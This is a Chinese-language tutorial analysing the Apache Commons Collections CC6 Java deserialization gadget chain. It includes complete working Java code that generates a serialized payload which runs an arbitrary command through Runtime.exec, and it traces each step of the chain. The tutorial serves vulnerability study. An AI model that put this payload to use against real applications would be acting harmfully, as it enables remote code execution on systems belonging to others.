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Transformer[]数组分析

链条代码跟进

ChainedTransformer.transform()

LazyMap.get()

TiedMapEntry.getValue()

TiedMapEntry.hashCode()

HashMap.hash()

HashMap.put()的意外触发

LazyMap.get()中key的包含问题

---

cc6的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        
		// 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

Transformer[]数组分析

首先不看第一行的faketransformer，直接来看第二个数组

数组内new了5个对象，咱们分别来说

1.

new ConstantTransformer(Runtime.class),

咱们跟进这个对象，可以看到就只是将Runtime.class，也就是Runtime这个类的字节码，赋值给到这个对象的iconstant字段

2.

new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),

 这里就不说了，三个赋值

主要是这里，先不管能不能调用到transform这个方法，我们先来看这个方法到底干了什么，首先getClass()拿到对应的对象字节码，然后通过getMethod()拿到方法，之后通过invoke调用

假如可以调用这个transform方法，把我们的参数传进入会发生什么？

这里的input值不知道那就先不看，这里的意思就是，先拿到这个对象的getMethod方法，然后进行调用，也就是再通过getMethod方法获取到了getRuntime这个方法，这里可能有点混，看不懂的小伙伴仔细想想或者调试

 3.

new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),

方法名与第二个一样，所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null')，这里有一点注意，当invoke调用静态方法时，第一个参数永远为空  

4.

new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),

同上，这里的意思是拿到exec方法，并且传参command（main方法里的command参数为calc.exe）

5.

new ConstantTransformer(1),

方法名与第一个相同，这里的意思我猜测应该是回到初始状态，并没有什么实际作用

链条代码跟进

ChainedTransformer.transform()

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们先不管这个fakeTransformers，跟进ChainedTransformer方法，就只是将参数赋值给到iTransformer数组

我们应该注意的是它下面的代码，transform这个方法，代码具体意思是将iTransformer这个数组遍历，然后递归调用

先不管我们能不能调用这个transform方法，假如我们能调用，那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点

首先来看iTransformer[0].transform()，返回iContant这个字段值，即为Runtime.class

 

此时object的值为Runtime.class，然后到iTransformer[1].transform()，即InvokerTransformer.transform()，是不是很熟悉？那正是我们之前分析过的，而之前的input值也变成了现在的Runtime.class，所以返回值为Runtime.getRuntime()

此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform()，返回值为Runtime.class.getRuntime().invoke()

iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)

所以咱们的payload能够完美地触发，但问题是要想执行payload，就必须触发ChainedTransformer.transform()方法

整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()

LazyMap.get()

接下来就需要我们的LazyMap上场了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

首先new了一个HashMap，然后再调用LazyMap.decorate()方法，那就跟进decorate方法

 再跟LazyMap构造方法

可以看到最终是将factory赋值为我们的transformerChain，那就找谁用了factory  

终于在LazyMap.get()方法里找到了，并且刚好有我们需要的transform方法，也就是说，这里的factory.transform就等于ChainedTransformer.transform()，那如果谁能调用LazyMap.get()方法，那就能触发我们的payload

TiedMapEntry.getValue()

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

 跟进构造函数后发现依然是我们熟悉的赋值，map已经为LazyMap了，那就寻找谁调用了get方法

一番寻找后，发现TiedMapEntry.getValue()可以触发  

到这里，我们整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()

TiedMapEntry.hashCode()

寻找谁能调用TiedMapEntry.getValue()，TiedMapEntry.hashCode方法就可以

再找谁能调用TiedMapEntry.hashCode()

HashMap.hash()

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

 跟进代码，就是将tme作为键，"valuevalue"作为值

此时key为TiedMapEntry，所以就找谁调用了hashcode方法

刚好HashMap.hash()调用了hashcode方法，更巧的是此时hashmap的readobject方法又调用了hash这个方法，那这样一切都清楚了，当java反序列化我们的构造好的序列化字符串时，调用了hashmap的readobject方法，便直接触发了我们的payload

最后整理一下链条

Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()

cc链所有的链条都清楚了，但真的完了吗？

HashMap.put()的意外触发

也许还有小伙伴记得前面的fakeTransformers，这里的fakeTransformers到底是干嘛的？

我们不妨去掉它试试，将之前传入的fakeTransformers改为我们的payload数组

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到在改为我们的payload数组运行后，计算器直接弹出了，这是为什么？

按理来说并不应该触发，因为我们还没有进行反序列化，也就是还没有调用HashMap的readObject方法，也就不应该执行我们的payload，这是为什么呢？

这是因为HashMap.put()方法也调用了hash这个方法，导致我们的payload提前执行

而fakeTransformers解决了我们这个问题

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

 先传入一个假的数组，让代码不执行任何payload，然后再通过反射修改ChainedTransformer类里面的iTransformers值，改为我们的payload，这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题，那就是这里的key为什么必须删掉？

outerMap.remove("keykey");

 来到LazyMap.get()方法，这里有一个if条件，如果此时map里面包含了传进来的这个key，那就会直接返回值，不会调用transform方法了，所以我们要避免这样的情况